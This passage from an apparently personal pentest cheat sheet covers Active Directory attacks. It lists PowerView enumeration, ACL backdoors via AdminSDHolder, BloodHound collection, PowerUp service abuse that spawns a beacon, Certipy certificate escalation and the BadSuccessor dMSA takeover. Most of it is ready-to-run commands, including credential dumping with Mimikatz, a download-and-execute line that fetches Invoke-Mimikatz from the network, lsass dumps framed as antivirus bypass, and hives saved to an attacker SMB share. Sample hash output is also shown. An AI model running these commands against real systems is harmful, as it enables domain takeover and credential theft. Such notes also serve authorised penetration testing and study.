# and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host.
# If -Checkaccess, then it also check for LocalAdmin access in the hosts.
## By default users inside Domain Admins are searched
Find-DomainUserLocation [-CheckAccess] | select UserName, SessionFromName
Invoke-UserHunter [-CheckAccess]
#Search "RDPUsers" users
Invoke-UserHunter -GroupName "RDPUsers"
#It will only search for active users inside high traffic servers (DC, File Servers and Distributed File servers)
Invoke-UserHunter -Stealth

-------------------
# SID to Name
"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName
# Kerberoast
Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users
# Use different credentials (argument)
# use an alterate creadential for any function
$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainUser -Credential $Cred
# Impersonate a user
# if running in -sta mode, impersonate another credential a la "runas /netonly"
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Invoke-UserImpersonation -Credential $Cred
# ... action
Invoke-RevertToSelf
# Set values
# set the specified property for the given user identity
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
# Set the owner of 'dfm' in the current domain to 'harmj0y'
Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y
# ackdoor the ACLs of all privileged accounts with the 'matt' account through AdminSDHolder abuse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
# Add user to 'Domain Admins'
Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local
</syntaxhighlight>

== PingCastle ==

[https://www.pingcastle.com/ https://www.pingcastle.com/]

<syntaxhighlight lang="bash">
# Ping Castle is a tool designed to assess quickly the Active Directory security level with a methodology based on risk assessment and a maturity framework.
# Simple healthcheck
./pingcastle.exe --user User1 --password Password1 --server domain.com --healthcheck
</syntaxhighlight>

== Adalanche ==

[https://github.com/lkarlslund/Adalanche lkarlslund/Adalanche: Active Directory ACL Visualizer and Explorer - who's really Domain Admin? (Commerical versions available from NetSection) (github.com)]

>
Adalanche gives instant results, showing you what permissions users and groups have in an Active Directory. It is useful for visualizing and exploring who can take over accounts, machines or the entire domain, and can be used to find and show misconfigurations.

<syntaxhighlight lang="bash">
# Example to create data files file for contoso.local coming from your Linux pwnage box using TLS port 636, ignoring certs and using NTLM auth:
adalanche collect activedirectory --tlsmode tls --ignorecert --domain contoso.local --authdomain CONTOSO --username joe --password Hunter42
# From domain joined Windows member using current user:
adalanche collect activedirectory
# From domain joined Windows machine using other credentials than logged in:
adalanche collect activedirectory --authmode ntlm --username joe --password Hunter42
</syntaxhighlight>

== BloodHound ==

[https://github.com/BloodHoundAD/BloodHound https://github.com/BloodHoundAD/BloodHound]

BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment.

* Run sharphound or bloodhound.py to collection data from target

* Transfer and import the zip files to bloodhound

* Analyze https://bloodhound.readthedocs.io/en/latest/data-analysis/bloodhound-gui.html

<syntaxhighlight lang="bash">
# INSTALL BLOODHOUND
# Install java
echo "deb http://httpredir.debian.org/debian stretch-backports main" | sudo tee -a /etc/apt/sources.list.d/stretch-backports.list
sudo apt-get update
# Install neo4j
wget -O - https://debian.neo4j.com/neotechnology.gpg.key | sudo apt-key add -
echo 'deb https://debian.neo4j.com stable 4.0' > /etc/apt/sources.list.d/neo4j.list
sudo apt-get update
apt-get install apt-transport-https
sudo apt-get install neo4j
systemctl stop neo4j
# Start neo4j
cd /usr/bin
./neo4j console
https://localhost:7474/
# Download the latest version of the BloodHound GUI from https://github.com/BloodHoundAD/BloodHound/releases
./BloodHound.bin --no-sandbox
</syntaxhighlight>

<syntaxhighlight lang="bash">
# INGESTOR
# Windows
# For PC joined to domain
./SharpHound.exe --CollectionMethods All
Invoke-BloodHound -CollectionMethod All
# Domain enum from domain joind creds
SharpHound.exe --collectionmethods All -d contoso.local
# Execute SharpHound using different creds
runas /netonly /user:domain\user "powershell.exe -exec bypass"
------------------------------------------------------------------------
# Python
# Need valid creds
https://github.com/fox-it/BloodHound.py
python3 bloodhound.py -u support -p '#00^BlackKnight' -ns 10.10.10.192 -d blackfield.local -c all -dc dc01.blackfield.local
python3 bloodhound.py -c All -d -u -p '' -ns -dc
# Through proxychains
proxychains bloodhound-python -u support -p '#00^BlackKnight' -ns 10.10.10.192 -d blackfield.local -c all --dns-tcp
----------------------------------------------------------------------
https://www.netexec.wiki/ldap-protocol/bloodhound-ingestor
nxc ldap -u user -p pass --bloodhound -ns --collection All
</syntaxhighlight>

=== Add Custom Queries to BloodHound ===

<syntaxhighlight lang="bash">
https://github.com/CompassSecurity/BloodHoundQueries/tree/master/BloodHound_Custom_Queries
# After adding the custome queries, they will show up under Analysis --> Custom Queries.
# On Linux, you can simply install the queries using this curl command:
curl -o ~/.config/bloodhound/customqueries.json "https://raw.githubusercontent.com/CompassSecurity/BloodHoundQueries/master/BloodHound_Custom_Queries/customqueries.json"
# On Windows, you can simply install the queries using this PowerShell command:
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/CompassSecurity/BloodHoundQueries/master/BloodHound_Custom_Queries/customqueries.json" -OutFile "$env:USERPROFILE\AppData\Roaming\bloodhound\customqueries.json"
</syntaxhighlight>

== Bloodhound Community Edition ==

[https://specterops.io/blog/2023/08/08/bloodhound-community-edition-a-new-era/ BloodHound Community Edition: A New Era - SpecterOps]

For years, BloodHound was built on a simple architecture: a Neo4J database and a single-page web app running in Electron. While simple, this architecture was also a significant limiting factor in improving the application. We chose to invest in a completely new architecture for BHE and today, we’re bringing much of that architecture to BloodHound CE.

BloodHound CE now has a robust architecture comprised of several front-end and back-end components, including:

* Postgres and Neo4J databases

* A new REST API

* A brand new front-end web application

To enhance the user experience and facilitate seamless deployments, all of these components are now presented in a fully containerized model. Say goodbye to concerns about Java and Neo4J versions, as running BloodHound CE has never been simpler:

Step 1: Install [https://www.docker.com/products/docker-desktop/ Docker] and download [https://github.com/SpecterOps/bloodhound/tree/main/examples/docker-compose/docker-compose.yml our example Docker compose file].

Step 2: Open a terminal to the directory you downloaded the file to and run docker compose up

Step 3: The initial password will display in your terminal. In a browser, navigate to http://localhost:8080/ui/login. Log in with username “admin” and the randomly generated password.

<syntaxhighlight lang="bash">
https://support.bloodhoundenterprise.io/hc/en-us/articles/17468450058267
# Prerequisites
# Running the example Docker Compose project requires the following:
# A Docker-compatible container runtime. Either Docker or Podman (with Docker compatibility enabled) will work great.
# Docker Compose, which is automatically included with Docker Desktop if you choose to go that route.
# The simplest way to get started is to install Docker Desktop, as it will provide both prerequisites and requires no additional configuration.
# # Process
# Optional: One-Line command for Steps 1-3
curl -L https://github.com/SpecterOps/BloodHound/raw/main/examples/docker-compose/docker-compose.yml | docker compose -f - up
# Download and store docker-compose.yml in the directory from which you would like to run BloodHound CE.
# Open a terminal interface, and from the directory you selected run docker-compose up
# To run BloodHound CE without the need to maintain the terminal interface, use:
docker-compose up -d
# and then
docker-compose logs
# to see the most recent logs from the environment.
# Docker Compose will download the required container images and initialize them. # The logs will display the randomized default password to log into your new BloodHound CE environment.
# Copy this password and open a web browser to http://localhost:8080.
# Log in with the default username admin and the password from the logs.
# The password cannot be regenerated. If you lost the password, simply
run docker compose down -v
# and then docker compose up to reset your databases.
# You will be required to change the password, thereafter you're logged into BloodHound CE!
# Default Credentials
Admin
Password: See logs and change it.
</syntaxhighlight>

=== Ingestors ===

==== NetExec ====

<syntaxhighlight lang="bash">
nxc ldap targetIP -u user -p password --bloodhound --collectionmethod all
</syntaxhighlight>

==== rusthound-ce ====

[https://github.com/g0h4n/RustHound-CE GitHub - g0h4n/RustHound-CE: Active Directory data ingestor for BloodHound Community Edition written in Rust. 🦀]

<syntaxhighlight lang="bash">
./rusthound-ce --domain domain.local -u 'test' -p 'test' -o . -z --ldaps #specify ldaps if LDAPS is enforced
</syntaxhighlight>

== AzureHound ==

Some orgs dont allow you to authenticate to outside apps, therefor you might need to use Jwt.

See this URL to find Jwt tokens using the browser. [https://www.scip.ch/en/?labs.20240523 Microsoft Cloud Access Tokens - Control the Token, Control the Cloud]. The jwt token have short expiry date.

Then with azurehound do . If you encounter any error, try with Azurehound v2.2.1 (Issue: [https://github.com/SpecterOps/AzureHound/issues/122 Error "failed to create new Azure client: unable to authenticate. no valid credential provided" when authenticating using a JWT in Azurehound later than 2.2.1 · Issue #122 · SpecterOps/AzureHound])

<syntaxhighlight lang="bash">
azurehound.exe -j "eyYadssad..." list -o outputjson.
</syntaxhighlight>

== LDAP with credentials ==

<syntaxhighlight lang="bash">
# https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology
# Look in the LDAP database, with ldapsearch or AdExplorer.exe to look for credentials in fields userPassword & unixUserPassword, or even for Description
# ENUMERATE
# https://devconnected.com/how-to-search-ldap-using-ldapsearch-examples/
ldapsearch -x -b -H -D -W
ldapsearch -x -b "dc=devconnected,dc=com" -H ldap://192.168.178.29
python windapsearch.py -u morph3 -p morph3 -d evil.corp â€“dc-ip 192.168.1.2
python ad-ldap-enum.py -d contoso.com -l 10.0.0.1 -u Administrator -p P@ssw0rd
</syntaxhighlight>

== Group Managed Service Accounts - gMSA ==

<syntaxhighlight lang="bash">
# If service account exists on target, enumerate gMSA.
# Group Managed Service Accounts provide a higher security option for non-interactive applications, services, processes, or tasks that run automatically but need a security credential.
# Example
Import-Module ActiveDirectory
Get-ADPrincipalGroupMembership svc_apache$ | select name
# Check if your user is allowed to retrieve managed passwords
Get-ADServiceAccount -Identity 'svc_apache$' -Properties * | Select PrincipalsAllowedToRetrieveManagedPassword
# Repo for reading gMSA passwords
https://github.com/rvazarkar/GMSAPasswordReader
.\GMSAPasswordReader.exe --accountname svc_apache
# Now either try to crack the hash or pass the hash using any of the techniques in this blogpost.
</syntaxhighlight>

== Forest Enumeration ==

'''Understanding Trust:'''

* Trust is a relationship established between two or more AD domains that allows users in one domain to access resources in another.

* '''One-Way Trust''': If Domain A trusts Domain B, users from Domain B can access resources in Domain A, but not vice versa.

* '''Two-Way (Bi-Directional) Trust''': Users from both domains can access resources in the other domain. This means Domain A trusts Domain B and Domain B also trusts Domain A.

* '''Transitivity''': Trust can be transitive. If Domain A trusts Domain B and Domain B trusts Domain C, then Domain A implicitly trusts Domain C.

'''Domain and Enterprise Admins:'''

* '''Domain Admins''': Members of this group have full control over their specific domain. However, their administrative privileges don't extend to other domains in the forest.

* '''Enterprise Admins''': This group is exclusive to the root domain of the forest. Members of the Enterprise Admins group have administrative rights across all domains in the forest. This makes them a prime target for attackers, as compromising an Enterprise Admin account provides extensive control over the entire AD infrastructure.

<syntaxhighlight lang="bash">
# Enumerating Domain Trusts
# Using nltest.exe:
# The /trusted_domains flag can be used to list domains trusted by the current domain.
C:\tools> nltest /trusted_domains
# Using .NET:
# .NET provides a method called GetAllTrustRelationships within the System.DirectoryServices.ActiveDirectory.Domain namespace.
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
# Using Win32 API:
# The DsEnumerateDomainTrusts API can be used.
# PowerView, a PowerShell tool, has a method called Get-DomainTrust that can utilize this API.
Get-DomainTrust -API
# Using LDAP:
# PowerView can also be used for this LDAP query. (LDAP, which stands for Lightweight Directory Access Protocol, is like a digital phone book for storing and looking up information about users, computers, and other resources on a network).
Get-DomainTrust
# Enumerate Users, Groups, and Services in Trusted Domains
# Once domain trusts are identified, the next step is to enumerate users, groups, and services in these trusted domains. This can be achieved using:
# .NET DirectorySearcher Class:
# This class can perform LDAP queries and can be initialized with a DirectoryEntry object.
# PowerView's Get-DomainUser method can be used to enumerate users in a trusted domain.
Get-DomainUser -Domain corp1.com
# BloodHound Ingestor (The best one):
# This tool can work with domain trust and allows enumeration across the entire forest.
</syntaxhighlight>

== Snaffler - Enumerate shares for good data ==

[https://github.com/SnaffCon/Snaffler GitHub - SnaffCon/Snaffler: a tool for pentesters to help find delicious candy, by @l0ss and @Sh3r4 ( Twitter: @/mikeloss and @/sh3r4_hax )]

Snaffler is a tool for '''pentesters''' and '''red teamers''' to help find delicious candy needles (creds mostly, but it's flexible) in a bunch of horrible boring haystacks (a massive Windows/AD environment).

<syntaxhighlight lang="bash">
snaffler.exe -o snaffler.log -s -y -d domain.com -c dc-ip
</syntaxhighlight>

Afte running the above command, parse the output to SnafflerParser.ps1 for a more readable output. [https://github.com/zh54321/SnafflerParser GitHub - zh54321/SnafflerParser: Parses Snaffler output file and generate beautified outputs.]

<syntaxhighlight lang="bash">
.\SnafflerParser.ps1 -in snaffler.log
</syntaxhighlight>

== ADExplorer.exe ==

[https://learn.microsoft.com/en-us/sysinternals/downloads/adexplorer AD Explorer - Sysinternals | Microsoft Learn]

Active Directory Explorer (AD Explorer) is an advanced Active Directory (AD) viewer and editor. You can use AD Explorer to easily navigate an AD database, define favorite locations, view object properties and attributes without having to open dialog boxes, edit permissions, view an object's schema, and execute sophisticated searches that you can save and re-execute.

[[File:2022-06-image.png|thumb]]

Can also use the snapshot from ADExplorer with BloodHound.

[https://github.com/c3c/ADExplorerSnapshot.py c3c/ADExplorerSnapshot.py: ADExplorerSnapshot.py is an AD Explorer snapshot parser. It is made as an ingestor for BloodHound, and also supports full-object dumping to NDJSON.]

----

= Local Privilege Escalation =

If you have valid credentials, try to escalate to local administrator in order to be able to dump password hashed.

== Checklist and tools to check for PrivEsc ==

<syntaxhighlight lang="bash">
# Checklist for local windows privilege escalation
https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation
# Notes
https://blog.aghanim.net/?p=1314
# Use WinPEASS
kali> peass
# Use WinPEASS using meterpreter
# https://github.com/carlospolop/PEASS-ng/tree/master/metasploit
modules/post/multi/gather/
# PowerView.ps1
# https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters/powerview
Import-Module powerview.ps1
# PowerUp.ps1
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/powerup
. .\powerup.ps1
Invoke-AllChecks
# seatbelt
# https://github.com/GhostPack/Seatbelt
# Run all checks
Seatbelt.exe -group=all -full
# JAWS
# https://github.com/411Hall/JAWS
# Run from within CMD shell and write out to screen.
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1
# HostRecon.ps1
# https://github.com/dafthack/HostRecon
# This command will run a number of checks on the local system including the retrieval of local system information (netstat, common security products, scheduled tasks, local admins group, LAPS, etc), and domain information (Domain Admins group, DC's, password policy). Additionally, it will perform an outbound portscan on the top 128 ports to allports.exposed to assist in determining any ports that might be allowed outbound for C2 communications.
Invoke-HostRecon -Portscan -TopPorts 128
</syntaxhighlight>

== Abusing GPO Permission ==

<syntaxhighlight lang="bash">
# See PG Vault writeup
# If you have write permission to a GPO, try using SharpGPOAbuse
# https://github.com/byronkg/SharpGPOAbuse/tree/main/SharpGPOAbuse-master
# Precompiled exe is located here https://github.com/Flangvik/SharpCollection/tree/master/NetFramework_4.0_x64
# See github for more commands
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"
</syntaxhighlight>

== PowerUp ==

<syntaxhighlight lang="bash">
https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/#powerup
https://powersploit.readthedocs.io/en/latest/
# Check for vulnerable programs and configs
Invoke-AllChecks
----------------
# Default vulnerable service abuse
# Abuses service 'VulnSVC' to add a localuser "john" with password "Password123! to the machine and local administrator group
Invoke-ServiceAbuse -Name VulnSVC

# Exploit vulnerable service permissions (does not require touching disk)
Invoke-ServiceAbuse -Name "VulnerableSvc" -Command "net localgroup Administrators DOMAIN\user /add"
# Exploit an unquoted service path vulnerability to spawn a beacon
Write-ServiceBinary -Name 'VulnerableSvc' -Command 'c:\windows\system32\rundll32 c:\Users\Public\beacon.dll,Update' -Path 'C:\Program Files\VulnerableSvc'
# Restart the service to exploit (not always required)
net.exe stop VulnerableSvc
net.exe start VulnerableSvc
-------------
# PortScan
Invoke-Portscan -Hosts "webstersprodigy.net,google.com,microsoft.com" -TopPorts 50
</syntaxhighlight>

----

= Lateral movement with privileged creds/session =

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#privilege-escalation-on-active-directory-with-privileged-credentials-session https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#privilege-escalation-on-active-directory-with-privileged-credentials-session]

== AD CS Domain Escalation ==

Active Directory Certificate Services (AD CS) is a Microsoft platform that provides a variety of security functions to protect digital certificates within an organization. However, a problem has been identified whereby some AD CS settings are not properly configured, which can leave the system vulnerable to attackers.

The issue arises when attackers exploit this vulnerability to obtain unauthorized certificates. These certificates can then be used to gain access to areas of the network or impersonate individuals they should not have access to. For instance, an attacker could potentially gain a certificate that enables them to impersonate a network administrator and thereby gain unrestricted access to sensitive data.

If you want an in-depth whitepaper about AD CS, it is very recommended to have read this paper.

[https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf Certified_Pre-Owned.pdf]

Below is a great ADCS Attack Techniques Cheatsheet made by [https://x.com/MacmodSec @MacmodSec]

https://docs.google.com/spreadsheets/d/1YLhkAHVWCVANxlH0VhM4ksylmg1rk5fV0NZu6yhIFT4/edit?usp=sharing

[https://book.ghanim.no/wp-content/uploads/2022/06/ADCS-Attack-Techniques-Cheatsheet.xlsx ADCS Attack Techniques Cheatsheet][https://book.ghanim.no/wp-content/uploads/2022/06/ADCS-Attack-Techniques-Cheatsheet.xlsx Download]

Greate Guide - [https://seriotonctf.github.io/2024/06/26/ADCS-Attacks-with-Certipy/index.html ADCS Attacks with Certipy | serioton]

[https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-one/ Abusing Active Directory Certificate Services - Part One - Black Hills Information Security, Inc.]
[https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-2/ Abusing Active Directory Certificate Services – Part 2 - Black Hills Information Security, Inc.]
[https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-3/ Abusing Active Directory Certificate Services (Part 3) - Black Hills Information Security, Inc.]

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/account-persistence
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft

------------
# List all vulnerable template
certipy find -dc-only -target-ip 10.10.10.10 -u USER -p PASSWORD -target -dc01.domain.com -vulnerable -timeout 120
# If user have enrollment rights on a template it is possible to obtain valid certificate for all valid users and domain admins. The certificate and private key will be safed in a .pfx file.
certipy req -u USER -p PASSWORD -target PKI01.domain.com -target 10.10.10.11 -template template01 -ca "domain-issuing-CA" -upn "domainadmin01"
# Retriev NTLM hash for domain admin
certipy auth -pfx domainadmin01.pfx -domain domain.com
# Now, pass the hash using desired tool.
crackmapexec smb 10.10.10.12 -u domainadmin01 -H ntlm_hash
----------------
See the below writeup for HTB Manager.
</syntaxhighlight>

[https://book.ghanim.no/wp-content/uploads/2023/11/Manager-HTB-writeup.-Lets-start-by-adding-provided-IP-to…-_-by-H1u2d3a4-_-Nov-2023-_-Medium.html Manager-HTB-writeup.-Lets-start-by-adding-provided-IP-to…-_-by-H1u2d3a4-_-Nov-2023-_-Medium][https://book.ghanim.no/wp-content/uploads/2023/11/Manager-HTB-writeup.-Lets-start-by-adding-provided-IP-to…-_-by-H1u2d3a4-_-Nov-2023-_-Medium.html Download]

== Change Password of user ==

If you have a user that have "ForcePasswordChange" rights on another user you can change the password of that user.

<syntaxhighlight lang="bash">
# Powershell
$creds = New-Object System.Management.Automation.PSCredential ("DOMAIN\user1", (ConvertTo-SecureString "HelloPass123!" -AsPlainText -Force))
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity User2 -AccountPassword $UserPassword -Credential $creds -Verbose
# Remote
net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"
</syntaxhighlight>

== Change Password of a User in another domain ==

If you have ForcePasswordChange on a user in another domain you can use the command below to change the password.

<syntaxhighlight lang="bash">
$UserPassword = ConvertTo-SecureString 'Password123' -AsPlainText -Force
Set-DomainUserPassword -Identity "user.1" -domain internal.domain.com -AccountPassword $UserPassword
</syntaxhighlight>

== BadSuccessor ==

[https://github.com/ibaiC/BadSuccessor GitHub - ibaiC/BadSuccessor: A PoC for the dMSA Active Directory Domain Takeover deemed BadSuccessor]

BadSuccessor exploits misconfigured Delegated Managed Service Account (dMSA) permissions in Windows Active Directory to escalate privileges. The tool creates malicious dMSAs that inherit the privileges of high-value service accounts, enabling lateral movement and privilege escalation in modern AD environments.

[https://kreep.in/badsuccessor-abusing-dmsas-for-ad-domination/ BadSuccessor: Abusing dMSAs for AD Domination]

<syntaxhighlight lang="bash">
Usage:
# Enumerate and list all Organizational Units you have write access to.
BadSuccessor find
# Create the malicious dMSA in the target OU
BadSuccessor escalate -targetOU -dmsa -targetUser [-dc-ip ] -dnshostname (-machine | -user )
# Cleanup malicious dMSA
BadSuccessor.exe del dMSAAccountName "OU=ServiceAccounts,DC=example,DC=com"
Examples:
BadSuccessor find
BadSuccessor escalate \
-targetOU "OU=Keep,DC=essos,DC=local" \
-dmsa kreep_dmsa \
-targetUser "CN=Administrator,CN=Users,DC=essos,DC=local" \
-dnshostname kreep_dmsa \
-machine braavos$ \
-dc-ip 192.168.10.15
BadSuccessor escalate \
-targetOU "OU=Keep,DC=essos,DC=local" \
-dmsa kreep_dmsa \
-targetUser "CN=Administrator,CN=Users,DC=essos,DC=local" \
-dnshostname kreep_dmsa \
-user john.doe \
-dc-ip 192.168.10.15
Parameters:
-targetOU DN of the OU container (e.g. OU=TestOU,DC=domain,DC=com)
-dmsa Name for the new dMSA (sAMAccountName without '$')
-targetUser Full DN of the existing service account (e.g. CN=SvcUser,CN=Users,DC=domain,DC=com)
-dnshostname dNSHostName to give to the new dMSA for Kerberos authentication
-machine Machine account for msDS-GroupMSAMembership. Include the $, e.g: braavos$
-user User account for msDS-GroupMSAMembership (sAMAccountName without domain)
-dc-ip (Optional) FQDN or IP of the DC to bind against for schema-aware writes
Note: You must specify either -machine OR -user, but not both.
</syntaxhighlight>

== Crack TGT - hashcat or John ==

<syntaxhighlight lang="bash">
# hashcat
# Check https://hashcat.net/wiki/doku.php?id=example_hashes for correct mode for TGT.
hashcat -a 0 -m 19500 tgt.hash rockyou.txt
# John the ripper
# Convert Kirbi to john format https://www.kali.org/tools/john/#kirbi2john
kirbi2john
# Convert ccache to john format
https://www.kali.org/tools/john/#ccache2john
</syntaxhighlight>

== Hash extraction (Dump hashes) ==

Dump all the hashes in memory and locally.

If mimikatz.exe dont work on reverse shell, try generating a msfvenom with -f psh-cmd and try again. Mimikatz should work now. It does not work with nishang invoke-powershelltcp for some reason.

<syntaxhighlight lang="bash">
# Credentials Mimikatz
# Elevate Privileges to extract the credentials
privilege::debug # This should give an error if you are Admin, but if it does, check if the SeDebugPrivilege was removed from Admins
token::elevate
#Extract from lsass (memory)
sekurlsa::logonpasswords
#Extract from lsass (service)
lsadump::lsa /inject
#Extract from SAM
lsadump::sam
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "exit"

# Invoke-Mimikatz
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "exit"'

# Meterpreter
#Credentials from SAM
post/windows/gather/smart_hashdump
hashdump

#Using kiwi module
load kiwi
creds_all
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam"
#Using Mimikatz module
load mimikatz
mimikatz_command -f "sekurlsa::logonpasswords"
mimikatz_command -f "lsadump::lsa /inject"
mimikatz_command -f "lsadump::sam"

# Bypass Anti-Virus
# Procdump from SysInternals is a legitimate Microsoft tool, and is not detected by Defender. Use this tool to dump lsass process, download the dump and extract creds locally from the dump
#Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
#Remote, mount https://live.sysinternals.com which contains procdump.exe
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
# Extract creds from dump
//Load the dump
mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords
# Automatically done with SprayKatz https://github.com/aas-n/spraykatz.
./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24

# Dumping lsass with comsvcs.dll
https://book.hacktricks.xyz/windows-hardening/stealing-credentials#dumping-lsass-with-comsvcs.dll
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump lsass.dmp full

# Dumping lsass with Task Manager
https://book.hacktricks.xyz/windows-hardening/stealing-credentials#dumping-lsass-with-task-manager

# Dumping lsass with procdump
Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp
------------------------------------------------------------------------

# CrackMapExec
# Dump SAM hashes
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
# Dump LSA secrets
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
# Dump the NTDS.dit from target DC
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
# Dump the NTDS.dit password history from target DC
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
# Show the pwdLastSet attribute for each NTDS.dit account
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
------------------------------------------------------------------------

# Stealing SAM & SYSTEM
https://book.hacktricks.xyz/windows-hardening/stealing-credentials#stealing-sam-and-system
# This files should be located in C:\windows\system32\config\SAM and C:\windows\system32\config\SYSTEM. But you cannot just copy them in a regular way because they protected.
# From registry
# Easiest method
reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security
# Download to attacker
samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL

# Backup Operator - If a user is a member of Backup Operator
# Backup Operators can override security restrictions for the sole purpose of backing up or restoring files
https://www.thehacker.recipes/ad/movement/credentials/dumping/sam-and-lsa-secrets
# 1 - First start smb share
impacket-smbserver share . -smb2support
2 - Then run the command
reg.py User:Password@192.168.210.16 backup -o \\10.10.14.14\share 2 ⨯
Impacket v0.11.0 - Copyright 2023 Fortra
[!] Cannot check RemoteRegistry status. Hoping it is started...
[*] Saved HKLM\SAM to \\10.10.14.14\share\SAM.save
[*] Saved HKLM\SYSTEM to \\10.10.14.14\share\SYSTEM.save
[*] Saved HKLM\SECURITY to \\10.10.14.14\share\SECURITY.save
# 3 - After we got the databases we use secretsdump to extract the info
impacket-secretsdump -sam SAM.save -security SECURITY.save -system SYSTEM.save LOCAL
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Target system bootKey: 0xb1223a009047a376c120c3630a0f0e48
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5bdd6a33efe43f0dc7e3b2435579aa53:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesnt have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:dc66f30d3e8bd48b4bfb9c3f53eb66ebda1edbb7af476a9f7650476edce03326b61fabe212dfd9e6c2e06eaaffcab3c78cfd4f47cd564ef53e8eb5d855f9e998c34c5fabc5e713559e090d6e5dc149a97ed653608d5cd07864d7774f2d766512849d4fafff4030324173ccd8cb8c6a1513a348a337c6d46778e4e37bc2e2c2e369626f1f153bdf391f8c175fdae042537016a2198b8c120c738854c907a1ddddcb88aaa517af97bcee783d1d9a36ddc179f2bb5cc8a336a00863183c96384434bb9a8eee781822f51d2727cd14e3fd0841edfa7004eefa2a8e3327b457f34587642e1e91e79a24590d97b8ad6cb14ee7
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:d47a6d90e1c5adf4200227514e393948
[*] DPAPI_SYSTEM
dpapi_machinekey:0xf108ba9fcd3554a2abb82ff4a8d29f0679aeaae6
dpapi_userkey:0xe57f2322d588ce987f04d6a3b1bf31cfa35d050a
[*] NL$KM
0000 07 E9 F2 3F 08 49 46 07 02 CE 30 4B 65 D3 86 32 ...?.IF...0Ke..2
0010 6F 02 5D 36 7D E8 30 33 F4 71 94 44 98 37 CB 1A o.]6}.03.q.D.7..
0020 05 CC 76 F1 26 E2 94 E7 D3 54 78 1F EF BE E9 13 ..v.&....Tx.....
